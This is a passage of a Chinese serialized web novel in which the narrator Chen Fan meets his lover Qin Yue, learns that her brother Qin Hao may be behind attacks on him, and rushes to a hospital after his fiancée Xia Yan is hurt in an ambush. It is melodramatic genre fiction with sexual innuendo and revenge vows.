我说:“我死了你不会伤心么?”
秦悦不在回我消息,就在我放下电话的时候,她的消息再一次发了过来。
秦悦:“一个小时后,我的飞机会落在海城,你来机场接我。”
我:“不恨我了?”
秦悦:“恨不得杀了你!”
我微微一笑,这才符合秦悦的风格。
“是谁?”柳媚笙好奇的问我。
“秦悦。”我说道。
“她?这个时候来,很怪啊!”
柳媚笙的直觉一向都很准,我也觉得秦悦这个时候找我很怪。
不过秦悦到底是什么心思,只有我见了她才知道。
一想到她那动人的模样,我的内心就有些燥热!
一个小时候后,我的迈巴赫准时的停在海城机场。
几分钟后,秦悦一个人拎着行李箱走了出来。
她这次没有穿昂贵的衣服,只是穿了一件卡其色的风衣和一件蓝色的牛仔裤,裤脚微微卷起,脚上穿着一双帆布鞋。
她的长发随意飘散,脸上却写满了倦意,只不过在看到我的那一瞬间,她的眼神依旧锐利如初,仿佛还带着恨意。
我却和没事人一样,笑嘻嘻的走了过去。
“想我了,臭宝?”
我笑嘻嘻的一句话,故意逗逗她,秦悦瞪了我一眼,说道:“你没死就好!”
我微微一笑,也不生气,反而乐呵呵的去拿她的行李箱,然后我还趁机摸了摸她的手,她也没有反抗,就是瞪了我一眼。
“时间不多,一会儿的飞机,我还要去下一个城市。”
“那你来海城做什么?”我问道:“现在飞机票这么便宜么?还是你喜欢做空中飞人?”
呼!
秦悦深吸了一口气,我能感受到她杀人的眼神,她冷静后,对我说道:“我来海城,就是为了告诉你,第一件事,赵家的事情很麻烦,赵刚已经联系了我父亲,要对付你。”
“但我父亲并没有马上答应,因为……这涉及到利益的事情,以后是什么态度也不一定。”
秦悦的话,让我有些感动。
她能来,就是在告诉我,她不认可赵刚的行为。
“第二件事,袭击你的人……”秦悦深吸了一口气,带着复杂的情绪对我说:“很有可能是我大哥,秦昊……”
“你大哥?秦昊?!”我微微一愣。
我想过许多人,唯一没有想过的就是秦家的人,因为我和他们没有仇怨啊!
“那四个人使用的战术和装备,很像我大哥秦昊找的人,他以前在外国接触过私人军事公司……而且,他对东郊项目一直很感兴趣,或者说,对夏颜很感兴趣……”
夏颜?!
我眼神一凛!
妈的,来挖墙脚了?!
075秦悦归来!
我什么都可以失去!
唯独不能失去夏颜!
当秦悦说出秦昊对夏颜所有图谋的时候,我的心本能的九紧张了起来。
夏颜对我来说,是爱情,是真诚,是可以携手到老的那种!
我睡过那么多的女人,可真正心里想娶的,就是夏颜!
秦悦见我不说话,她的眼神有些变化,甚至在她的眼神里,我看到了隐藏的一丝落寞。
“看的出来,你很在乎夏颜。”秦悦淡淡的说道。
“嗯,那是我要娶的女人。”我说道。
我从来不在女人面前,掩饰我对夏颜的感情,吃醋不吃醋那是你们的事,敢不敢爱她,那是我的事儿。
沉默,这就是秦悦给我的回答。
“你要小心秦昊。”秦悦对我说道。
“这算是对我的关心吗?”我一脸坏笑好奇的问道。
秦悦果断的白了我一眼,然后说道:“秦昊喜欢夏颜这件事,是整个秦家都知道的,当初他就想和夏颜订婚,但是被我大伯给否决了,因为我大伯看不上夏颜的出身,也看不上夏家。”
“所以夏振宇才去找冯天宇。”我抽了根烟淡淡说到。
“没错,夏振宇给她找冯天宇,也是为了为难夏颜,毕竟,冯家实力不如夏家,到时候还能好控制夏颜。”秦悦看了我一眼道:“只是没想到,半路杀出了你,把夏振宇的计划给搅黄了!”
说到搅黄两个字的时候,秦悦笑出了声。
“其实,你心里应该挺在乎夏颜的吧。”我笑着问道。
她脸上的笑容戛然而止,然后对我说:“你还是多关心关心你自己吧,如果袭击你的事情,真的是我大哥做的,那你可是惹上大麻烦了!”
我忽然拉着她的手,笑着问:“那你是向着我,还是向着你大哥?”
“色狼!”
秦悦嘴上骂着我,可她的手却被我紧紧握在手心里。
好就没有摸到秦悦的手了,她的皮肤还是那么的细嫩。
“没想到你出国这么久,皮肤保养的还是那么好,和那晚没什么区别。”
“你给我住嘴!”
秦悦当然知道我说的那晚,是哪天!
她脸上羞红了一大片,然后她嗖的一下,就钻进了我的车里。
她坐在我的副驾驶,然后歪着头,看着窗外,我知道她是故意不看我的,高傲的秦家大小姐,让我不得不喜欢啊!
“秦昊这个人你可能不太了解,他是一个很有野心的人,只要是他看上的猎物,就一定会得到!”秦悦说道。
“那他怎么不对冯天宇动手?”我问。
“因为夏颜不爱冯天宇。”秦悦说道:“你还是不了解女人!”
秦悦说的话,让我微微心动,确实,如果我是秦昊,我也不会去动冯天宇,可是我就一样了,夏颜是真真正正的属于我,为了我,都可以和夏振宇开战!
秦昊当然是有危机感了!
“你来告诉我这个消息,是担心我?”我问。
“秦昊这些年,在秦家的势力越来越大,已经逐渐威胁到我父亲的位置,如果没有意外,将来秦家的家住,是我,但秦昊怎么可能会甘心……”
秦悦转过头,在她清纯秀美的脸上,她写满了担心。
怪不得秦悦这么累,原来是内忧外患啊!
“所以,你是来找我合作的?”我把着方向盘,向秦悦问道。
“合作是双赢的,你帮我除掉秦昊这个威胁,也等于是在帮你自己!”秦悦指了指我,继续说道:“秦昊能找一次雇佣军,就能找两次,你觉得你能躲得过几次?”
她说的没错,与其每天提防着秦昊这个人,还不如直接出手解决他。
更为主要的是,他还是我的情敌!
只要是对夏颜有意思的男人,我都会除掉!
冯天宇是第一个!那接下来,秦昊就是第二个!
“秦家势力庞大,想要对付秦昊,必须要有一个周密的计划!”
我一边开着车,一边和秦悦探讨。
秦悦忽然觉得有些不对劲儿,她坐直了身体,问道:“陈凡,你这是把车子开到哪里去了?”
我从机场出来,就将车子开往高速公路上。
车子离城市越来越远,秦悦好像是猜到了我的意图,骂道:“陈凡,你个色狼,你给我停车,停车!”
我立刻踩了一个刹车!
然后不等秦悦有所反应,我直接下车,走到副驾驶,拉开车门,将她从车上抱了出来。
她先是挣扎一下,随后便不在挣扎,我搂着她,轻声道:“好久不见,我还挺想你的。”
仅仅一句想念,我能感受到秦悦的身体都在颤抖。
她故意撇过头去不看我,维持着她高傲的自尊。
“你想我么?”我在她耳边问。
她不说话,我就越搂越紧!
最后,她只能缴械投降,悠悠的对我说:“不想你,为什么要来见你……”
听到她的念想,我笑了。
我要的就是这个,我知道,我已经彻底征服了秦悦。
尽管秦悦嘴上说恨我,她越恨,就是越爱我,越在乎我!
我紧紧搂着她,让她靠在我的怀里,我轻声问道:“直到你大哥要杀我的时候,你是不是很担心,很着急?”
“废话!不然我为什么给你发信息!”
“你不是想看我死没死么!”我笑着说道。
“陈凡,我要打死你!”秦悦说着就双手就要到我:“你这个人,真是狗嘴里吐不出象牙,就不能说点好的吗,你知道不知道,我听到你被袭击的消息,都……”
“都什么?”我一脸认真的问她。
“不告诉你!”
“你煮的那碗面,我都吃了,很好吃,以后在煮给我吃……好不好?”
“嗯……好……”
听到我说那碗面,秦悦整个人都柔软了下来,她也乖乖的搂着我的腰,然后主动亲吻我。
亲着亲着,她的眼眶就湿了。
“你这个冤家,以后不要在让我担心……”
她踮起脚尖,吻着我的唇,她的动作在诉说着她的思念,我知道,她是想我了。
于是我抱着她,对她说:“时间宝贵,我们去后面!”
说着,我抱起她,就往车后座走去……
夕阳西下……
秦悦红了脸颊……
076秦悦的温柔乡!
午后夕阳,高速公路迈巴赫车不停地摇摇晃晃。
汽车欺负的斌绿胡快胡曼,让人浮想联翩。
我和秦悦互相拥抱着彼此,她的额头上伸出了点点汗水,她脸颊绯红,浑身香气四溢,在这个午后,她紧紧的依靠在我的怀里。
“讨厌……”
秦悦忽然骂了我一句,道:“我来找你,就一个小时的时间,你还要把人家拉出来做这种把事情,你害羞不害羞啊!”
“你喜欢就好!”
我一脸无赖的样子,我新乡,这可不是你刚才求着我要的时候了。
女人啊女人,怎么嘴巴那么硬呢!
“讨厌,人家就一个小时的时间,你还要拉着我来这里做这种事情,要是被别人看到,羞不羞!”
“停车坐爱枫林晚,霜叶红于二月花。”
我笑着吟诗作对,遭到的就是秦悦的一阵白眼,她悠悠道:“你可真是色胆包天,古人的好诗词,让你说成了什么,真是不害臊!”
小女人特有的撒娇,在秦悦的脸上展现的淋漓尽致,这点让我有点感觉到意外惊喜。
我发现,这次亲热之后,我秦悦变得不一样了,她整个人都变得柔软起来,也不那么爱喝我针锋相对了,但是,她还是保持了她大小姐的高傲和尊严。
我想,这就是她的个人魅力吧。
如果秦悦没有性格,我可能也不会喜欢她的。
或者,她连陪我睡觉的资格都没有,毕竟我又不是种马,见一个睡一个。
“还恨我么?”我摸着她的脖颈,满是爱怜的问她。
“恨,从来没有停止过!”她毫不犹豫的回答、
我嘿嘿一笑,脸上满脸的得意:“能被秦家大小姐惦记着恨,也是一种荣幸啊!”
“德行!”
秦悦笑骂着我,她穿好衣服,道:“送我去机场,我还要有会要开!”
“这次去哪里?”我问。
“去云城。”她说道。
“赵刚的地盘!”我冷冷的说道。
她看了我一眼,脸上露出一个狡黠的笑容,道:“看来你紧张了,是不是怕我和赵刚联手对付你啊!”
她说着,伸手捏了捏我的脸,道:“你也有吃瘪的时候啊,真好玩!”
“你要是和赵刚联手,就是在谋杀亲夫,你是要当寡妇的!”我故意放大那最后两个字!
“哼!”她撇过头去,道:“我可和你不一样,是个无赖,我说到做到,既然已经答应和你联手对付秦昊,那我怎么可能会和赵刚联手呢?”
“那你这次去云城做什么?”我问。
“秦昊这些年崭露头角,开始布局秦家的产业,我父亲手下有不少产业,都被他明争暗斗的抢了过去,这次,我来,就是收回这些产业。”
我心里一惊,没想到秦家的内斗已经到了白热化的阶段,秦远宏这个家住位置做的也不是很稳当,我忽然像是想到了什么一样。
“秦昊该不是怀疑你父亲当年对他爸下手了吧!”
秦悦看了我一眼,眼神忽然冰冷,道:“是你高密的?”
“拜托大小姐!”我无语道:“我既然能查到当年的事情,你觉得以秦昊的实力,他会查不到么!再说,我还想用这件事,多睡你几次呢,怎么可能会说出去!”
“混蛋!”
秦悦又一次捏住了我的脸,给我捏的生疼!
“大小姐饶命!”
“大小姐我错了!”
看到我求饶,秦悦脸上忽然绽放出了笑容,她收回了纤纤玉手,然后得意洋洋的笑着,那笑声别提多开心了!
秦悦按下了车窗,她将手伸出了窗外,然后张开了双手,让风肆意的吹拂着她的手。
“和你一样。”我说。
“啊?”
“C罩杯!”我指了指她的盈盈一握的手型!
“呸!混蛋!”
秦悦立即羞红了脸,她并没有收回手,而是右手又偷偷的握了几次。
我嘿嘿一笑,道:“都说男人色,其实女人比男人还要色,只不过,你们不说,你们都是直接做。”
秦悦不在说话,算是不置可否。
到了飞机场,秦悦下车,我帮她拎着皮箱。
然后我忽然抱住了她,在她的脸上亲吻,她小声说:“这么多人,不害臊啊!”
“我到时候去云城找你!你要洗干净等我!”
“嗯……”
这声嗯,娇媚十足!
我微笑着,用手温柔的帮秦悦整理双鬓,她难得一见,温柔一笑。
她模样本就清纯,笑起来,就如同刘亦菲一样的漂亮,让我有一些失神着迷。
就在这时候,我的手机不适时宜的响了起来。
我低头一看,竟然是周大伟打来的电话。
我立刻按下了接听键,周大伟在电话里焦急、带着一种哭腔的声音,对我说:“凡哥,嫂子出事了!”
“夏颜怎么了?!”
紧紧几个字,就让我的心提到了嗓子眼,以周大伟的身手,他怎么可能会照顾不好夏颜,能让夏颜出事,那周大伟一定是遇到了生死麻烦!
我的心砰砰直跳,秦悦整个人也面色沉重,她着急的问道:“夏颜……怎么了?”
“嫂子在杭城参加商业酒会,在回酒店的过程当中,遭遇了袭击,发生了严重的车祸,她现在正在抢救室……”
“凡哥,是我没本事,是我没有照顾好嫂子……”
周大伟的声音满是歉意和愧疚,我的手微微的颤抖,抢救室……
我知道那意味着什么,夏颜!
你不可以有事!
“我现在马上去杭城!”
我挂上电话,我心中升起了滔天的怒火!
夏颜,是我生命中最重要的女人,是我的逆鳞!
竟然有人敢袭击她,那个混蛋王八蛋,我一定要揪出来,狠狠地宰了他!
我马上用手机查阅最快的飞机航班,发现半个小时后,有一趟去杭城的飞机。
我马上就要买票,秦悦却忽然道:“买两张!”
“什么?”我问。
“我也去!”秦悦道。
“你去干什么!”我问。
“我要去看夏颜!”她说道。
“你不是和夏颜有仇么,你不是不死不休么!”
“她现在很危险,我要去看她!”秦悦忽然抢过了我的手机,然后果断了买了两张机票。
半个小时后,我和秦悦坐上了去杭城的飞机。
我的心情一直很焦躁不安,我的脸色阴沉,秦悦大概是看出来了。
她忽然握住了我的手,安慰道:“你要冷静,想想谁对夏颜动的手。”
我回头,看了一眼秦悦,眼色冰冷,道:“是不是你们,秦家?”
077脱离危险的夏颜!
我面色冰冷,眼神如刀!
现在能对夏颜动手的人,我能想到的就是两个,一个是秦家,一个是赵刚!
秦悦见我有些激动,她忽然拉住了我的手,安慰我道:“我是永远不会对夏颜动手的,毕竟我们曾经是很好的闺蜜,至于秦家……”
“秦昊应该不能……”秦悦摸了摸我的脸,柔声道:“秦昊是真心喜欢夏颜,他应该不会做伤害夏颜的事情,不过,是不是秦家别的人,我也不知道……”
我听后,直接靠在了椅背上,我心里很烦,下意识的就从烟盒里掏出烟,想要来一根,可这才想起飞机上不让抽烟,我气的将烟直接捏碎!
看到这一幕,秦悦的眼里有些心疼,她忽然拉着我的手,然后放在了她的胸口,道:“放在这里,缓解一下压力。”
然后她用毯子,盖住了胸前。
这一幕,让我动容,她在用她的身体,帮我舒缓压力和愤怒。
我当然尽情的释放我的压力,她的面色渐渐地红了起来。
飞机穿过云层,降落在杭城国际机场。
外面的雨刚刚停止,但天空依旧阴沉,就如同我的心情。
我急匆匆的下了飞机,杭城的机场人来人往,却也消散不了我心中的杀意!
我和秦悦刚走出机场,秦悦的保镖就走了过来,他一脸恭敬道:“小姐,车子都准备好了。”
秦悦点了点头,然后说道:“你们都走吧。”
保镖将钥匙递给了秦悦,秦悦拿到钥匙后,就开车载着我去医院。
我知道秦悦这么做的目的,她是不想让秦家的人,直到夏颜被袭击,我坐上了秦悦的宾利,然后马上就点了根烟,越是接近医院,我心里就越是烦躁!
我不敢想象,现在的夏颜会是什么样子。
终于,车子停在了医院,我下车后急急忙忙的赶了过去。
在抢救室的门口,我看到了周大伟,他此刻正坐在椅子上,双手掩面,神情低落……
看到我来了,他赶紧站起身,然后一脸懊悔的对我说:“凡哥,对不起……我没照顾好嫂子!”
周大伟一个大男人,说着说着,眼泪就要掉下来了,可见事情的严重性,他的内心当然过意不去。
“是我没本事,我没保护好嫂子!”
我拍了拍周大伟,然后问道:“医生怎么说?”
“还在抢救……”
周大伟终于抑制不住泪水,他痛哭不止,他对我很是歉疚,这一幕,看的秦悦也跟着哭了,她撇过头去,抹了抹眼泪。
“凡哥,对不起……”
我一把搂住周大伟肩膀,拍了拍他道:“知道你尽力了,不怪你,到底怎么回事?”
我现在急切的知道事情的原因!
周大伟深吸一口气,强行稳定情绪,开始汇报:“今天下午,嫂子参加完杭城商业峰会,返回酒店的路上,车队一共三辆车,嫂子在中间那辆迈巴赫上,我坐在副驾,行至到一段相对僻静的路段时,突然从侧面岔路冲出两辆没有牌照的黑色越野车,直接把我们前后夹住!”
他的声音带着后怕的颤抖:“对方直接向迈巴赫撞了过来,他们目标很明确,就是中间嫂子坐的车!”
“我当时已经察觉到不对劲,可是我不是驾驶员的,我第一时间没有办法操作汽车,我只能保护好嫂子,然后那两台车,就拼命的撞击迈巴赫,嫂子坐在后座,头部受到了猛烈的撞击,车子已经报废,驾驶员现在也昏迷不醒!”
“看清楚什么车了么?”我问。
“是改装过后的大G!”
周大伟像是想起了什么一样,对我说道:“那两辆车绝对不是民用改装,更像是专门作战用的,应该是私人军事公司改装的,因为那两辆车都安装了防撞门!”
“交手了?”我抽了一根烟,问道。
“嗯!”周大伟点了点头,道:“车子被逼停后,车上下来了六个蒙面的黑衣人,他们手持甩棍,想要来抢人!”
“我和他们打了起来,他们都是受过专业训练的!”
“后来有人报了警,他们才逃走,他们逃走时候像是演练过一样,很快很迅速,不过是一分钟,就逃离了现场。”
周大伟说完,我看了看他的身上,他的身上已经满是伤痕,尤其是胳膊上,数条的深紫色的伤痕爬满了他的双臂。
我不仅有些动容,周大伟也是拼死保护夏颜!
“辛苦你了,兄弟!”我感谢道。
军事训练,专业配合,行动果断……这和之前在云城袭击我和柳媚笙的那伙人,风格何其相似!是同一批人?还是来自同一个源头?
我的拳头死死攥紧,指甲几乎要嵌进掌心。无论是谁,动了我的人,就必须用血来偿还!
一直沉默坐在我旁边的秦悦,轻轻伸出手,覆盖在我紧握的拳头上。
她的手有些冰凉,却带着一种试图安抚的力量,她没有说话,但眼神里的担忧和支持显而易见了,在这个陌生的城市,面对突如其来的血腥袭击,她选择站在我身边。
我看了她一眼,没有推开她的手,但也没有回应。此刻,任何温情都无法平息我心中的暴戾。
吧嗒!
抢救室的灯熄灭了!
我的心瞬间提到了嗓子眼!
夏颜,她怎么样了!
我马上走到抢救室的门口!
“谁是病人家属!”
医生从里面走了出来,他一脸的汗水。
“我,我是!”我马上喊道。
医生上下打量了我一眼,道:“你是她什么人?”
“我是她男友,她怎么样了?”我着急的问。
“病人已经脱离了危险,没有大碍,只不过……”
“只不过什么……”秦悦着急的问道。
“只不过她的头部受到猛烈的撞击,造成了严重的脑震荡,在加上她现在格外的虚弱,她现在正在昏睡当中,不要让她过度的劳累,也不要惊扰她,她受到了严重的惊吓……”
“她现在在哪里?我要看她!”我神色着急道。
“不是说了吗,病人现在需要休息!”医生再一次告诫我道。
说话间,夏颜被推了出来……
078调查!袭击夏颜的凶手!
我的目光穿过人群,定格在了夏颜的身上。
她的头上缠着绷带,她躺在病床上,脸色惨白如纸,那个曾经古灵精怪、说要欺负我一辈子的女人,现在就安静的躺在那里。
不知道为何,我看到她现在憔悴的样子,我的眼泪忽然就落了下来,我责备自己没有照顾好夏颜。
医生和护士们推着夏颜的病床来到了病房,这里是VIP,他们和交代了一些事宜,然后就离开了,房间里,就剩下我和秦悦,点滴一滴滴流进夏颜的身体里。
秦悦站在夏颜的面前,她忽然失声痛哭。
“夏颜,你快醒醒,我再也不和你作对了……”
“只要你醒过来,我们还是好闺蜜……”
眼前的秦悦不再是那个叱咤风云商场的女总裁,她只是一个担心朋友身体状况的一个女人而已,或许,她的心里,一直都是在乎夏颜的。
只有在意,才会产生怨恨之心,她才会和夏颜一直作对,她不过就是一个因爱生恨的人。
我走过去,扶着她,安慰道:“别担心,她一定会醒过来的。”
秦悦点了点头道:“陈凡,我好后悔,后悔自己为什么不原谅夏颜……”
我点了点头,道:“人都是失去后,才知道珍惜,我想和夏颜单独待一会。”
秦悦关上了房门,病房里,就只剩下我和夏颜了。
我坐在床边,拉着她的手放在我的脸颊上,感受着她的体温,仿佛只有这样,才能抚平我暴躁的心情,仿佛只有这样,我的心里才会好受一点。
“老婆,这段时间很累吧,你现在可以好好休息了……”
“不过,你不要休息太久,我还在等你醒过来……”
“以前你总是欺负我,现在你安静的睡着了,我还有些不适应,老婆,医生都说你没事了,你现在只是惊吓过度,我来了,我会守护你,这次你可以放心欺负一辈子了。”
我的脑海里不自觉的浮现出当初和夏颜第一次见面的样子,她霸道、古灵精怪、她可爱、调皮、我想着想着竟然不自觉的笑了一下。
只不过,现在的笑容有一点点苦涩。
我并不是一个爱流泪的人,可这一刻,我的泪水不知不觉的流了下来,落在了夏颜的手中……
我希望我用爱能唤醒夏颜,可她还是一动不动的躺在那里……
我知道,现在不是感怀伤秋的时候,现在我最重要的就是要调查出来,是谁袭击的夏颜,我要让那个人血债血偿!
忽然,我看到夏颜的手指动了一下,然后我马上拉着她的手,我温柔的摸着夏颜的脸颊,眼神温柔且坚定:“老婆,我一定会把那个袭击你的人揪出来,为你报仇!”
“嗯……”
夏颜轻哼了一声,只不过她还没有睁开眼睛,我的心跳到了嗓子眼,我知道她听到了我的话,她在给我回应!
夏颜醒过来了!
我收回了手,擦掉了眼角的泪痕,当我走出病房的那一刻,我浑身杀意,仿佛一尊杀神!
我不管那个人是什么背景,什么人物,只要让我揪出来,他就必须得死!
我走出了病房,秦悦就坐在外面的长椅上,她低声的啜泣,见我出来,她声音沙哑:“夏颜醒了吗?”
“还在睡,不过她已经有意识了。”我语气坚定道:“等她睡足了,她就会醒过来。”
秦悦看着我,从我眼中看到了不容置疑的决心,慌乱的心似乎找到了一丝依靠,轻轻点了点头。
“知道是谁做的吗?”我沉声问道。
秦悦摇了摇头,眼神里充满了迷茫和恨意:“还在调查当中,他们明显就是冲着夏颜的命来的!
秦悦忽然抓住我的手臂,力道大得惊人:“陈凡!无论是谁,找到他一定不能饶了他!”
“不管是谁!”我看着她,一字一句,如同宣誓,“我都会把他们揪出来,让他们付出代价,十倍,百倍!”
我的声音不大,却带着一种斩钉截铁的冰冷和决绝,让秦悦不由自主地打了个寒颤,但同时也感受到了一种前所未有的安全感。
“杭城这边,我们秦家还是有些关系的,我已经联系了杭城最好的外科专家和脑科专家,他们会过来联合会诊,需要什么医疗资源,你尽管开口!”
“谢谢!”我看了她一眼,在杭城,秦家的能量的确能起到关键作用。
“另外……”秦悦压低声音,眼神变得锐利:“袭击的事,我已经让我的人去查了,在杭城还搞出这么大动静,绝对不是小事,无论是谁,都不可能完全不留痕迹。”
我点了点头,秦悦的介入,无疑增加了我找到凶手的筹码。
就在这时,我的手机再次响起,是柳媚笙打来的。
“陈凡,夏颜那边情况怎么样?”柳媚笙的声音带着关切和凝重。
“脱离危险了,刚才她已经有意识了,现在就等她睡醒了。”我走到走廊尽头,压低声音:“云城那边有什么新发现?”
“有!”柳媚笙的语气带着一丝兴奋和冰冷:“在医院对赵坤补刀的,就是‘暗影’组织的人,而雇佣他们的,是一个通过海外空壳公司,而这个公司的实际控制人,经过层层追溯,极有可能……与秦昊有关!”
秦昊!果然是他!
“另外,袭击你们安全屋的那四个境外佣兵,他们的入境渠道和资金支持,也与秦昊手下的秘密公司有关!”
柳媚笙继续说道:“现在所有的线索,都指向了秦昊,他很有可能就是幕后的黑手!”
秦昊!
我的眼神瞬间变得无比寒冷,如同不见底的寒潭。
他先是策划了医院补刀,然后将刺杀赵坤的锅嫁祸于我,让赵刚对我下手,然后他又派出私人军事杀手来袭击我……
现在夏颜在杭城遭遇的袭击,与他们的手段极其的相似,是不是也与秦昊有关?
他不是喜欢夏颜么?那他为什么要这么做?
是为了打击秦悦?还是为了除掉我?
还是说……他隐藏着更庞大的阴谋?
可无论这个袭击夏颜的是不是秦昊,我都要送他一份礼物!
079反击秦昊!
我让柳媚声将秦昊袭击赵坤的证据,打包送给了赵刚!
既然秦昊背后阴我,那就别怪我也阴他一下。
果然,没过几分钟,云城那边就给我来电话了。
我接起电话,是赵刚。
“陈凡,你什么意思?你在哪里搞来的这些视频!”赵刚在电话里愤怒的问我。
看来他看完秦昊的补刀视频,怒气未消!
“视频的来源,你不用怀疑,柳媚笙的名号想必你应该听过,这是她弄来的。”
我并不介意这个时候说出柳媚笙的名字,我和柳媚笙的关系,即便我不说,赵刚也会查到,更何况柳媚笙的手段他应该听说过。
赵刚在电话那头一阵沉默,我知道,他是相信了视频的来源。
“你的儿子被补刀,还有我在海城被袭击,都是秦昊做的,目的就是借你的手,除掉我,激发我和你的矛盾,你要报仇,不该选择我,而是选择秦昊!”
“秦昊,我当然不会放过他!”赵刚在电话那头愤怒的砸桌子!
“夏颜的事情,是不是你做的?”我阴沉着脸,冷冷的在电话里问到。
“夏颜?我不认识,无论她发生什么事情,都与我无关!”赵刚在电话里干脆的回答。
“最好不是你,否则的话,我会让你付出代价!”
“陈凡,你以为你是谁,你在跟谁说话!喂!喂!”
我直接将电话挂断,赵刚在电话里再一次气急败坏。
赵刚说不认识夏颜我信,他说不是他做的,我也相信,因为从时间地点来看,他不会用一晚上的时间,就找到那些私人军事公司。
我更倾向于秦昊做的这件事,他的嫌疑最大!
我会让柳媚笙继续追查夏颜被袭击的这件事!
我一定要让那个人付出代价!
挂断电话,我转过身,看向站在不远处的秦悦。
她似乎察觉到了我眼神的变化,那里面不再有刚才短暂的缓和,而是重新被冰冷的审视和一丝不易察觉的……杀意所取代。
“怎么了?”秦悦微微蹙眉,问道。
我走到她面前,距离很近,目光如同手术刀般,似乎要剖开她的内心。
“秦悦……”我缓缓开口,声音不带一丝温度,“你大哥秦昊,现在在哪里?”
秦悦的脸色微微一变,道:“他应该是在国内,具体在哪里,我并不知道,陈凡,你怀疑是秦昊袭击的夏颜?”
我盯着她的眼睛,一字一句地道:“现在,夏颜在杭城遇袭,和我在海城遇袭的手段如出一辙,这件事,和秦昊脱不了干系,只是我不知道,他袭击夏颜的理由,他不是喜欢夏颜么?”
“得不到,就毁灭!”秦悦冷冷的说道:“秦昊这个人,从小就是疯子,他这个人特别的极端,小时后,他喜欢我的宠物狗,他想要过去,我没有答应,结果一个星期后,我的狗就被他毒死了,那年,他才十二岁!”
呸!
我忍不住淬了一口,道:“真是个变态!”
“秦昊喜欢夏颜可以说到了疯魔的地步,当初我和夏颜走的亲近,他不过就是看了夏颜一次,就喜欢上了她,就要追求她,尽管夏颜拒绝了多次,他还是求追不放,直到我和他撕破脸,他都没有停止,是他父亲出面,他才罢休。”
听了秦悦的话,我陷入了沉思,秦昊如果是这个性格,那他就真的有可能对夏颜动手,现在我缺少的就是证据,不过,我倒要会会这个秦昊!
赵坤那件事,我绝对要收拾他!
“帮我查到秦昊现在在哪,我要会会他!”我对着秦悦说道。
“陈凡,他是一个危险的人物,你还是先不要去了!”秦悦说道:“他身边是有保镖的!”
“那又怎么样,他敢对付我,我就要让他付出代价!”
就在这时,一个穿着黑色西装、戴着金丝眼镜、气质沉稳的中年男人,在一个秘书模样的人的陪同下,快步走了过来。
他看起来四十多岁,面容与秦悦有几分相似,但更加威严,眼神深邃,带着一种久居上位的压迫感。
他看到走廊里的我们,尤其是在看到秦悦激动的样子和我冰冷的脸色时,眉头微微皱起。
“悦悦,发生了什么事情!”中年男人沉声开口,声音带着不容置疑的威严。
秦悦看到来人,表情微微一愣,然后小声嘀咕道:“他怎么来了?我并没有告诉他我来杭城的消息!”
“他是谁?”我问。
“秦远东,我父亲的堂弟,主要负责杭城这边的业务。”秦悦小声的告诉我,道:“我不喜欢这个人。”
秦远东的目光转向我,带着审视和一丝不易察觉的精明:“这位就是陈凡陈先生吧?久仰,我是秦悦的二叔,秦远东。”
他伸出手,他的脸上带着笑容,只不过这个笑容在我看来是要多虚伪就有多虚伪。
我看了看秦悦,秦悦一副无所谓的态度,于是我还是伸出手,象征性的和秦远东握了握手。
秦卫东收回手,脸上露出恰到好处的沉痛表情:“夏总的事情,我已经听说了,真是令人震惊和愤慨!在杭城地界上,竟然发生如此恶劣的袭击事件!陈先生请放心,我们秦家一定会全力配合警方,早日将凶手缉拿归案!有任何需要,也请尽管开口。”
他的话滴水不漏,既表达了立场,也撇清了关系。
我看着他,心中冷笑,秦家的人,果然个个都是演戏的高手。
“多谢秦先生好意。”我淡淡道,“凶手,我一定会找到,现在所有的证据,都指向了一个人!”
“哦?是谁?”秦远东好奇的问道。
我目光再次扫过秦悦,最后定格在秦远东脸上,语气变得意味深长,道:“秦家,秦昊!”
听到秦昊的名字,秦远东先是一愣,随后哈哈大笑:“陈总,这不可能,绝对不可能,我秦家的人,不会做这样的事情!”
“是么?”我问。
“我敢保证!”秦远东笑着道:“陈总,这件事我会帮你调查的,你放心,我绝对公正!”
“那就多谢了!”我面无表情道:“那我就等秦总的消息了。”
秦远东眼中精光一闪,点了点头,面上依旧保持着沉稳,他对秦悦说道“悦悦,你跟我来一下,家里有些事要问你。”
他不由分说,带着神色复杂的秦悦离开了。
走廊里,再次只剩下我一个人。
我看着他们消失的方向,又看了看病房里的夏颜,眼中的冰寒愈发浓烈。
我想,那个袭击夏颜的黑手,马上就要被我查出来了!
080暗中勾结!
“凡哥,警方那边的调查结果已经出来了,袭击者使用的汽车,证件,全部都来自境外。”
周大伟走了过来,他脸上夹杂着歉意和疲惫。
“监控呢?”我问。
“那段路的几个关键监控探头,在事发前半小时都‘恰好’出现了故障。”周大伟咬牙切齿:“这绝不是巧合!”
预谋,周密,手眼通天,对手的能量,超乎想象。
我脸色阴沉着摆弄着手机,现在,所有的证据都指向了一个人,那就是秦昊,因为在杭城,有这个能力的,只有秦家!
“加派人手,二十四小时保护夏总,没有我的允许,任何人不得接近。”
我直接下达命令,让周大伟把保镖公司的人都喊来,在这个时候,只有自己的人才最信得过。
“医院这边,也安排我们信得过的人盯着,确保夏颜的治疗不受任何干扰。”
“明白!”周大伟重重点头,立刻去安排。
我拿出手机,走到消防通道,再次拨通了柳媚笙的电话。
柳媚笙的声音立刻传来,带着关切问道:“杭城那边怎么样?”
“你那边,关于秦昊,还能挖出什么?我要更确凿的证据,尤其是他和杭城这次袭击的关联。”
我言简意赅的问柳媚笙,我只是猜测是秦昊,但我现在需要证据,哪怕就算是资金转账证据,我都能做实秦昊,那样,我就能上门去复仇!
“我正在全力追查。”柳媚笙语气凝重,道:“这次夏颜被袭击,对方做的很干净,不过我这边有一条新的线索,或许有用!”
“说。”
“我查到秦昊上个星期,秘密会见了一个人。”柳媚笙压低声音,“秦昊见的人是夏振宇!”
夏振宇?!
秦昊为什么要见夏颜的父亲?!
难道说,夏振宇要将夏颜卖给秦昊?
冯家倒了,夏颜恢复了自由身,夏振宇怎么可能会放过这个机会,他是个唯利是图的商人,只要能换来钱,卖女儿不是不可能!
“能确定他们谈了什么吗?”我追问。
“具体内容查不到,只知道,夏振宇见过秦昊后,夏氏集团和秦昊的公司,签订了一笔价值5000万的商业合同!”
“柳姐,我现在怀疑夏振宇在卖夏颜!”我冷冷的说道。
“我也是这么想的!夏振宇口碑不怎么好,除了冯家,没人愿意和他联姻,秦昊,是他唯一的出路!”
“夏氏集团是不是出了问题?”我问。
“传言夏家正在内斗,争夺董事长愈演愈烈!夏振宇的公司也在逐年亏损!”
“怪不得……”我得到了答案,接着问道:“知道秦昊在哪里么?”
“不确定。他行踪很隐秘,最后一次露面是在海城,但之后就像人间蒸发了一样。”
